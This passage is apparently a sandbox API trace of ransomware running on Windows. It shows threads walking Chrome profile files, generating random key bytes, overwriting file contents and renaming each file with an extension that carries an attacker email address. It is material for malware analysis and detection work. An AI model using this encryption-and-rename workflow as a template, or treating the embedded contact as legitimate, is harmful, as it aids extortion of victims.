Flags=0x0, BaseAddress=0x8d2668) returned 1 [0169.847] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x31) returned 0x93b2f8 [0169.847] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.847] WriteFile (in: hFile=0x1a64, lpBuffer=0x9296f0*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x53f998, lpOverlapped=0x0 | out: lpBuffer=0x9296f0*, lpNumberOfBytesWritten=0x53f998*=0x115, lpOverlapped=0x0) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9296f0) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ad78) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b2f8) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed80) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e1a8) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfc8) returned 1 [0170.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e018) returned 1 [0170.791] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x106) returned 0x909700 [0170.791] wcscpy (in: _Dest=0x909700, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" [0170.792] wcscat (in: _Dest=0x909700, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.mailto[2Hamlampampom@cock.li].cd46d" [0170.792] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x53f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0170.792] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11c) returned 0x92ddf0 Thread: id = 4966 os_tid = 0x1e60 [0162.416] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts")) returned 0x2020 [0166.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", dwFileAttributes=0x20) returned 1 [0169.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a68 [0169.308] GetFileSizeEx (in: hFile=0x1a68, lpFileSize=0x445fcc0 | out: lpFileSize=0x445fcc0*=12288) returned 1 [0169.308] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.308] ReadFile (in: hFile=0x1a68, lpBuffer=0x445fc44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x445fc40, lpOverlapped=0x0 | out: lpBuffer=0x445fc44*, lpNumberOfBytesRead=0x445fc40*=0x4, lpOverlapped=0x0) returned 1 [0169.309] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.310] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458c0 [0169.310] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e248 [0169.310] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e090 [0169.310] NtQuerySystemTime (in: CurrentTime=0x445fc20 | out: CurrentTime=0x445fc20*=132174899439082000) returned 0x0 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x23540368 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x6f26cc92 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x5219b933 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x74d6feb9 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x753bc14d [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x1a6c4fa4 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x38a8315b [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x73e063f [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x6cb1efed [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x3ed65099 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x1a83e6da [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x485b4cde [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x42ba4699 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x3451b71b [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x232191a8 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x4eff2f1 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x18f50343 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x289ec73c [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x16182507 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x1908853a [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x2896bc74 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x71d7c013 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x138d4dab [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x1ec248a4 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x688e6957 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x942e3b2 [0169.310] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x688e582a [0169.311] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0xa107296 [0169.311] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x7db87b1 [0169.311] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x28ccb08 [0169.311] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x201089bb [0169.311] RtlRandomEx (in: Seed=0x445fc2c | out: Seed=0x445fc2c) returned 0x3e7332cd [0169.323] ReadFile (hFile=0x1a68, lpBuffer=0x12c77f10, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x445fc1c, lpOverlapped=0x0) [0169.324] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.324] WriteFile (in: hFile=0x1a68, lpBuffer=0x12c84718*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x445fc18, lpOverlapped=0x0 | out: lpBuffer=0x12c84718*, lpNumberOfBytesWritten=0x445fc18*=0x3000, lpOverlapped=0x0) returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0169.848] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef88 [0169.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef88) returned 1 [0169.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c84718) returned 1 [0169.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77f10) returned 1 [0169.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e92c8) returned 1 [0169.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0169.848] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1f) returned 0x9aef88 [0169.849] SetFilePointerEx (in: hFile=0x1a68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.849] WriteFile (in: hFile=0x1a68, lpBuffer=0x929810*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x445fc80, lpOverlapped=0x0 | out: lpBuffer=0x929810*, lpNumberOfBytesWritten=0x445fc80*=0x103, lpOverlapped=0x0) returned 1 [0169.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x929810) returned 1 [0169.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af438) returned 1 [0169.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0169.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef88) returned 1 [0169.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af4b0) returned 1 [0169.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e248) returned 1 [0169.939] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfa0) returned 1 [0169.940] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e478) returned 1 [0169.940] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8ec3d8 [0169.940] wcscpy (in: _Dest=0x8ec3d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" [0169.940] wcscat (in: _Dest=0x8ec3d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.mailto[2Hamlampampom@cock.li].cd46d" [0169.940] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x445fc38, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0169.940] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10a) returned 0x12cf4f78 Thread: id = 4967 os_tid = 0x1e64 [0162.416] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal")) returned 0x2020 [0166.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", dwFileAttributes=0x20) returned 1 [0169.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a6c [0169.325] GetFileSizeEx (in: hFile=0x1a6c, lpFileSize=0x45df9e4 | out: lpFileSize=0x45df9e4*=0) returned 1 [0169.325] FlushFileBuffers (hFile=0x1a6c) returned 1 [0170.436] CloseHandle (hObject=0x1a6c) returned 1 [0170.436] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal", dwFileAttributes=0x2020) returned 1 [0171.303] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba5c0) returned 1 Thread: id = 4968 os_tid = 0x1e70 [0162.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xcc) returned 0x8dd240 [0162.417] wcscpy (in: _Dest=0x8dd240, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings" [0162.417] wcscat (in: _Dest=0x8dd240, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\" [0162.417] wcscat (in: _Dest=0x8dd240, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*" [0162.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a7c0 [0162.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0163.290] wcscmp (_String1=".", _String2=".") returned 0 [0163.290] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.290] wcscmp (_String1="..", _String2=".") returned 1 [0163.290] wcscmp (_String1="..", _String2="..") returned 0 [0163.290] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0163.291] wcscmp (_String1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", _String2=".") returned 1 [0163.291] wcscmp (_String1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", _String2="..") returned 1 [0163.291] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10a) returned 0x8fe728 [0163.291] wcscpy (in: _Dest=0x8fe728, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings" [0163.291] wcscat (in: _Dest=0x8fe728, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\" [0163.291] wcscat (in: _Dest=0x8fe728, _Source="pkedcjkdefgpdelpbcmbmeomcjbeemfm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm" [0164.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fe728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8 [0164.361] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x92a7c0 | out: lpFindFileData=0x92a7c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0 [0164.361] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0164.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a7c0) returned 1 [0164.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd240) returned 1 [0164.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938cb8) returned 1 Thread: id = 4969 os_tid = 0x1e74 [0162.417] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites")) returned 0x2020 [0166.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites", dwFileAttributes=0x20) returned 1 [0169.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a70 [0169.326] GetFileSizeEx (in: hFile=0x1a70, lpFileSize=0x405fa20 | out: lpFileSize=0x405fa20*=20480) returned 1 [0169.326] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x4ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.326] ReadFile (in: hFile=0x1a70, lpBuffer=0x405f9a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x405f9a0, lpOverlapped=0x0 | out: lpBuffer=0x405f9a4*, lpNumberOfBytesRead=0x405f9a0*=0x4, lpOverlapped=0x0) returned 1 [0169.327] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.327] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458c0 [0169.327] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e090 [0169.327] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e108 [0169.327] NtQuerySystemTime (in: CurrentTime=0x405f980 | out: CurrentTime=0x405f980*=132174899439238000) returned 0x0 [0169.327] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x5d268f2f [0169.327] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x64cd3c63 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x7a3c1ef [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x45f9cdd5 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x5f5166a [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x432b565d [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x2a26f356 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x768ee10f [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x2e696638 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x759f5dd0 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x163b84bd [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x2f94056a [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x72603c5b [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x696e789c [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x6b3e41e2 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x1326c81 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x2b41768b [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x7b6e1c46 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x4a5dd58b [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x3f6eccfc [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x365453f5 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x10288641 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x72a86f3b [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x5075bbdf [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x37e7ae2a [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x7a640f6 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x6247d18e [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x5db2c065 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x68a98989 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x3381f438 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x54180322 [0169.328] RtlRandomEx (in: Seed=0x405f98c | out: Seed=0x405f98c) returned 0x65ae1e98 [0169.340] ReadFile (hFile=0x1a70, lpBuffer=0x12c90f20, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x405f97c, lpOverlapped=0x0) [0169.341] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.342] WriteFile (in: hFile=0x1a70, lpBuffer=0x12c9d728*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x405f978, lpOverlapped=0x0 | out: lpBuffer=0x12c9d728*, lpNumberOfBytesWritten=0x405f978*=0x5000, lpOverlapped=0x0) returned 1 [0169.849] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed08 [0169.849] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af280 [0169.849] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af280) returned 1 [0169.849] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c9d728) returned 1 [0169.849] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c90f20) returned 1 [0169.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0169.853] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0169.853] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1f) returned 0x9af280 [0169.853] SetFilePointerEx (in: hFile=0x1a70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.854] WriteFile (in: hFile=0x1a70, lpBuffer=0xd4d8068*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x405f9e0, lpOverlapped=0x0 | out: lpBuffer=0xd4d8068*, lpNumberOfBytesWritten=0x405f9e0*=0x103, lpOverlapped=0x0) returned 1 [0169.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8068) returned 1 [0169.941] RtlFreeHeap 